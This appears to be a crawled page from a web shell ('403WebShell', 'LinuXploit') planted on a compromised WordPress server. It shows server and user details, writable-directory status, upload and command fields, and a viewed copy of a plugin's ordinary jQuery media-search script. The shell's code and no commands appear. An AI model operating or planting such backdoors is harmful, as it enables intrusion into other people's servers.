Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/xapian-search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/xapian-search/media-search.js
    function getMediaElementbyId($container) {
	    let $ = jQuery.noConflict();
        let id = $container[0].id;
        return mejs.players[id];
    }

	function _getAuthorList($popup) {
	    let $ = jQuery.noConflict();
		let result = '';
		$('input[type="checkbox"]', $popup).each(function(e) {
			if (this.checked) {
				if (result != '') result += '.';
				result += this.value;
			};
		});
		return result;
	}
	
	function _reloadPage(authorFilter) {
		const urlParams = new URLSearchParams(window.location.search);
		urlParams.set('a', authorFilter);
		window.location.search = urlParams;
	}
	
	function mediaWaypoints($, $container, $media) {
        var firsttime = true;
		$media.bind('seeked', function() {
			firsttime = true;
		});
		var $waypoints = $('a.xp-waypoint', $container);
		if ($waypoints.length) {
			$waypoints.on('click', function(e) {
				e.preventDefault();
				var $data = $(this);
				$media[0].currentTime = parseInt($data.data('wp'));
			});
			var media = undefined; 
			var lastident = '';
			$media.bind('timeupdate', function(e) {
				if (media === undefined) {
					var $container2 = $media.closest('.mejs-container');
					media = getMediaElementbyId($container2);
					firsttime = true;
				}
				var track = media.selectedTrack;
				if (track === null && media.tracks.length > 0) {
					track = media.tracks[0];
				}
				if (track !== null && track.isLoaded) {
					var i = media.searchTrackPosition(track.entries, media.media.currentTime);
					if (i > -1) {
						var ident = track.entries[i].identifier;
						if (ident != lastident) {
							lastident = ident;
							$('a.xp-waypoint.active', $container).removeClass('active');
							var $element = $('a.xp-waypoint.' + ident, $container).addClass('active');
							if (firsttime) {
								$element[0].scrollIntoView();
								firsttime = false;
							}
						}
						return;
					}
					$('a.xp-waypoint.active', $container).removeClass('active');
				}

			});
		}
	}

    jQuery(function() {
	    let $ = jQuery.noConflict();
		let $popup = $('.xs-filteritems').first();
		var authorFilter = _getAuthorList($popup);

        var requested_tab = false, requested_seek = -1;
        var hash = document.location.hash.substr(1);
        var $tabs = $('.media-search-tabs');
        var taboptions = {};
        if (hash != '') {
            var elements = hash.split('/');
            for(var i = 0; i < elements.length; i++) {
                if (elements[i].indexOf(':') > -1) {
                    var component = elements[i].split(':');
                    if (component.length > 2) {
                        requested_seek = parseInt(component[0], 10) * 3600 + parseInt(component[1], 10) * 60 + parseInt(component[2], 10);
                    } else if (component.length > 1) {
                        requested_seek = parseInt(component[0], 10) * 60 + parseInt(component[1], 10);
                    } else {
                        requested_seek = parseInt(hash, 10);
                    }
                } else if (requested_tab === false && elements[i] != '') {
                    requested_tab = elements[i];
                }
            }
        }
        if (requested_tab === false && window.mediaSearchTab) {
            requested_tab = window.mediaSearchTab;
        }
        if (requested_tab) {                // search list of tabs
            $('.media-search-tab', $tabs).each(function(idx, value) {
                if (this.id == requested_tab) {
                    taboptions.active = idx;
                }
            });
        }
        $tabs.tabs(taboptions);

        $('audio.wp-audio-shortcode,video.wp-video-shortcode').each(function() {
            var firsttime = true;
            var $media = $(this);
            var $container = $media.closest('.media-search-tab');
            if (hash != '') {
                var sec = requested_seek;   // only if active tab
                $media.bind('canplay', function() {
                    if (sec > 0) this.currentTime = sec;
                    sec = 0;
                });
            }
			mediaWaypoints($, $container, $media);
        });
		$('a.xs-button').on('click', function(e) {
			// update the link
			let href = $(this).prop('href');
			const url = new URL(href, window.location);
			url.searchParams.set('a', authorFilter);
			console.log(url);
			$(this).prop('href', url);
		});
		$('a.action-xs').on('click', function(e) {
			e.preventDefault();
			let cmd = this.dataset.action;
			let $popup = $('.xs-filteritems').first();
			switch(cmd) {
				case 'open':
					$popup.css('display', 'block');
					break;
				case 'apply':
					authorFilter = _getAuthorList($popup);
					_reloadPage(authorFilter);
					$popup.css('display', 'none');
					break;
				case 'clear':
					authorFilter = '';
					_reloadPage(authorFilter);
					$popup.css('display', 'none');
					break;
				case 'close':
					$popup.css('display', 'none');
					break;
			}
		});
    });

Youez - 2016 - github.com/yon3zu
LinuXploit